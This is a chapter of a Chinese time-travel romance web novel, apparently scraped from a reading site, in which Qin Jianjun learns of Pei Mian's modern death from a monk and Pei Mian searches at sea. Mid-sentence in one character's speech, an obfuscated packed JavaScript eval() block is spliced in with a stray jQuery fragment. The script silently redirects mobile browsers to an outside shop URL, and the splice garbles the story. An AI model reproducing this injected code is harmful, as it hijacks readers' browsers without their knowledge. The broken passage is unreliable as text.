秦见君震惊地看着桌上裴眠的照片——短发、背心、冲浪板,无一不在证明这张照片拍摄的年代并不是大荆。
还没等她反应过来,办公室忽然进来了一群穿着黑色西装的男人。个个高大魁梧却面容严肃,沉默地收拾着办公室里的东西。
秦见君眼睁睁看着裴眠的照片被收起来,用黑布包着放进箱子里。
黑衣人们训练有素,快速收拾完办公室就离开了,接着进来的是穿着保洁服的大妈。
大妈先对着一尘不染的办公室愣了会儿神,而后叹气,弯腰洗起拖把来。
此时办公室又进来了一位穿着职业装的女人,全黑的西装、半裙、高跟鞋,若是配上小烟熏妆,该是又酷又飒的,可女人却素面朝天,只有唇上涂了点润唇膏。
“连总助......你看这儿还要打扫吗?”大妈望着窗明几净的办公室,忍不住说出了心中的疑问。
被称为连总助的女人面露悲伤,几近哽咽,半晌才轻声道:“打扫......打扫干净......他爱干净......”说完,她又深深地看了一眼办公室,转身离开了。
留在办公室的大妈喃喃自语道:“人都死了,办公室打扫干净又有什么用呢......”
秦见君忍不住蹙眉——什么叫“人都死了”?裴眠呢?
光圈中的场景转换,秦见君看到了自己——确切地说,是死亡当天的自己。
她冒着狂风艰难地抵达了地铁站,地铁站内的电子屏幕上正在播报新闻。
“据本台消息,台风‘雁回’于昨天下午三点登录南海区域,此次台风受南海水汽影响,在登陆前急剧增强,当地部门来不及实施措施,目前已造成三人死亡,十六人受伤,经警方证实,珮游集团接班人裴眠,于此次台风事故中丧生......”
秦见君忽然想起,她当初选择辣甜甜公司合作,就是因为辣甜甜背靠珮游集团,大集团下的公司总是更有底气些。
光圈中的自己盯着地铁指示牌,路过电子屏时连头都没侧一下。
秦见君忽然想起老和尚说的“非人力可拒”,是因为裴眠在现代意外死亡,所以自己才穿到这里来了吗?
接着她的心突然狂跳起来——裴眠在现代就是在海上丧生的,如今又出海去了......
先前老和尚说“再误一世缘分,可就没得补了”,也就是说,“再误”也不是没可能的,那裴眠再一次在海上......
秦见君吓得瞬间醒来。
秋雨飒飒,原先凉爽的风变得刺骨,她忍不住打了个寒颤。
天还未亮,寺前的石子路上全是被秋雨打落的叶子,褐黄一片。
小和尚正低头扫地,眼前忽然出现一双鞋子,再往上,裙摆上还沾着泥点子,能看出此人走得很急。
“小师傅,你们解签的师傅在吗?”秦见君千里迢迢从虔渊州赶来,一天一夜都未休息,面色有些疲惫。
即便如此也难掩出色样貌,那小和尚还记得她,他并未露出讶异神色,而是放好了扫帚,引着秦见君往寺里去了。
“师父说施主近日会来寺中,且带您去后院便好。”小和尚边走边道。
秦见君的心倒是稳定了些——老和尚一定知晓自己穿越的真相,或许能告诉自己裴眠在这一世的结局。
后院角落里摆了一口大缸,缸中养着锦鲤,秦见君赶到后院时,老和尚正在喂鱼。
小和尚将人带到后便离开了,秦见君缓步上前。
缸中传来鱼尾拍打水面的声音,老和尚收手,转头看向秦见君,道:“施主吓着鱼了。”
秦见君颔首:“抱歉......”
老和尚笑着摆摆手,又道:“施主此次前来,是为了解惑吧?”
见对方并无遮掩心思,秦见君索性也开门见山道:“师傅是不是知道......我的身世?”
此时天还未亮,寺庙中并无人来拜,四周静悄悄的,秦见君话音一落,老和尚也不搭话,院子里便落针可闻。
半晌,老和尚才开口道:“施主想问何事?”
秦见君顺势将疑问都说了出来:“我梦中的光圈是平行世界吗?我穿到这里来,算是世界错位吗?裴眠在海上......还平安吗?”
老和尚听了她一连串的问题,并不烦心,而是拍了拍手中的鱼食残渣,指着秦见君腰间的玉佩,缓声道:“这世上有许多玉佩,上头有许多花纹,有相似的花纹,也有不同的花纹,有的玉佩上注定会有成对的纹理,若是这玉佩不当心碎了,便将其他玉佩改上这成对的纹理,补上便好了。”
秦见君默默消化——意思就是有许多平行世界,在其中一个世界里,她与裴眠是有三世缘分的,可其中一世因为台风这个意外而被破坏,于是便从其他平行世界中取了一世来补偿,自己的“穿越”其实是从原本的世界,穿到了平行世界来。
老和尚见她表情逐渐明朗,知晓她是听懂了,于是继续道:“那位郎君,与海倒是有缘......”
秦见君的心瞬间被揪了起来,等着老和尚往下说。
“是否平安,我并不知晓,不过......”他对上秦见君的眸子道,“你万不可出海。”
被点破心思,秦见君愣住,随即焦急道:“他生死未卜,我想去找他......”
“于他无益,生死有命,你且等着便是。”
秦见君有些急了,声音也大了些:“我怎么等?他现在音讯全无!难道要我什么努力都不做?”
老和尚抬手在虚空中压了压,仍旧缓声道:“稍安勿躁。”
水缸中又传来鱼尾拍水的声音,秦见君意识到自己有些失态,深呼吸几口后,尽量冷静地开口道:“请师傅指条明路。”
老和尚摇了摇头,做了个“请”的姿势。
秦见君知道这是要送客了。
虔渊州内只有河,并不临海,往南走上十几日才能见着海,再往西南去才能入西南海域。
西南海域上风平浪静,一艘艘船整齐排列着,远看极有气势,近看才能发现,船帆已十分破烂污秽了。
“郎君,船底的破漏都补好了。”裴小之抹了把脸,将手上的灰留在了脸颊上。
裴眠已经连着两个日夜未曾休息了,此时正盘腿坐在桌边,手撑着额角。
听了裴小之的话,他才抬起通红的眼,沉声吩咐:“所有船,替换干净的船帆。”
裴小之点点头,正要出去,又听裴眠问:“虔渊州有消息吗?”
裴小之转回身子,摇摇头,叹了口气道:“自我们遇上风浪后,就再未收到虔渊州来信了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187687|141165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,如今风浪过去,我已将船上备用的信鸽放出去了,只不过还未收到什么回信......”
裴眠垂眸,骨节分明的大手按了按跳动的额角。
“下去吧,叫袁原过来。”
裴小之应声出去,不一会儿袁原就进来了。
“位置判清楚了吗?”
袁原点头,上前将图纸打开,指着边缘的一处岛,道:“若渔民所言为实,两日后便可靠岸。”
裴眠看着图纸边缘随意画的岛,心中也有些没底——毕竟只是南边的一个传说,若是这岛压根就不存在,他们便只能像无头苍蝇似的在海上飘荡了。
“大人......”
袁原难得有欲言又止的时候,裴眠抬眼:“何事?”
“与虔渊州失联前,我曾收到袁分来信。”他顿了顿,还是继续道,“信中......提到秦小娘......”
裴眠的眼神柔和下来,垂下眸子,目光左右游移,状似不经意道:“继续。”
袁原想了想,将袁分说的事掐头去尾说了:“罗衔玉去含萃楼找了秦小娘,是特地赶在大人出海后才去的。”
裴眠的脊背僵了一瞬,而后呼吸便有些重起来,但面上仍是平静。
袁原等了半晌,裴眠都没说话,只好硬着头皮开口道:“若是与虔渊州恢复联系,大人可要给秦小娘去信?”
裴眠撑着额头的手下,食指轻轻敲了敲桌面,问袁原:“罗衔玉此人,长相如何?”
袁原不知裴眠为何突然问起这个,只能老实回答:“相貌清俊。”
“家境如何?”
“商贾之家,中上而已。”
“学识呢?”
“还未在科举取得名次。”
“品性?”
袁原仔细想了想,道:“为人和善真诚,但失果决。”
裴眠点点头,看向袁原,问道:“若是你,你选谁?”
袁原怔了一下,对上裴眠胜券在握的眼,才反应过来裴眠在说什么,他闭上嘴,默默退了出去。
裴小之正在甲板上洗换下来的船帆,看袁原满脸复杂,便凑上去问缘由。
听完袁原言简意赅的描述,裴小之哈哈大笑道:“不怪你,你跟着郎君的时候,恰好他病重,性子阴沉,原先在虔渊州时他可不是这样的,如今才是真正的郎君呢!”
袁原回想自己曾在虔渊州的惊鸿一瞥,那绿袍少年郎,确实是意气风发又自信昂扬的......
裴小之用手肘捅了捅袁原,打趣道:“你真不必担心那什么罗书生,秦小娘与郎君是两情相悦!虽说近日在闹矛盾......可谁家小夫妻不闹矛盾的?”
袁原仍是有些不放心道:“可这几个月来都不曾与秦小娘联系......”
裴小之叹了口气,嘟囔道:“说来也怪,我们郎君的性子算极好的,从未与秦小娘红过脸,也不知这次是何事,竟气得郎君能忍住不给秦小娘去信......”
袁原不搭话,裴小之便又开始细数从前在叶水州时,裴眠是如何笑着写信给秦见君的,他说话又密又快,袁原听了一会儿便有些受不了地要走。
“诶!跑什么?来同我一起把这块帆洗了!”
袁原只好折返回来搓帆布,耳边还要受裴小之的唠叨。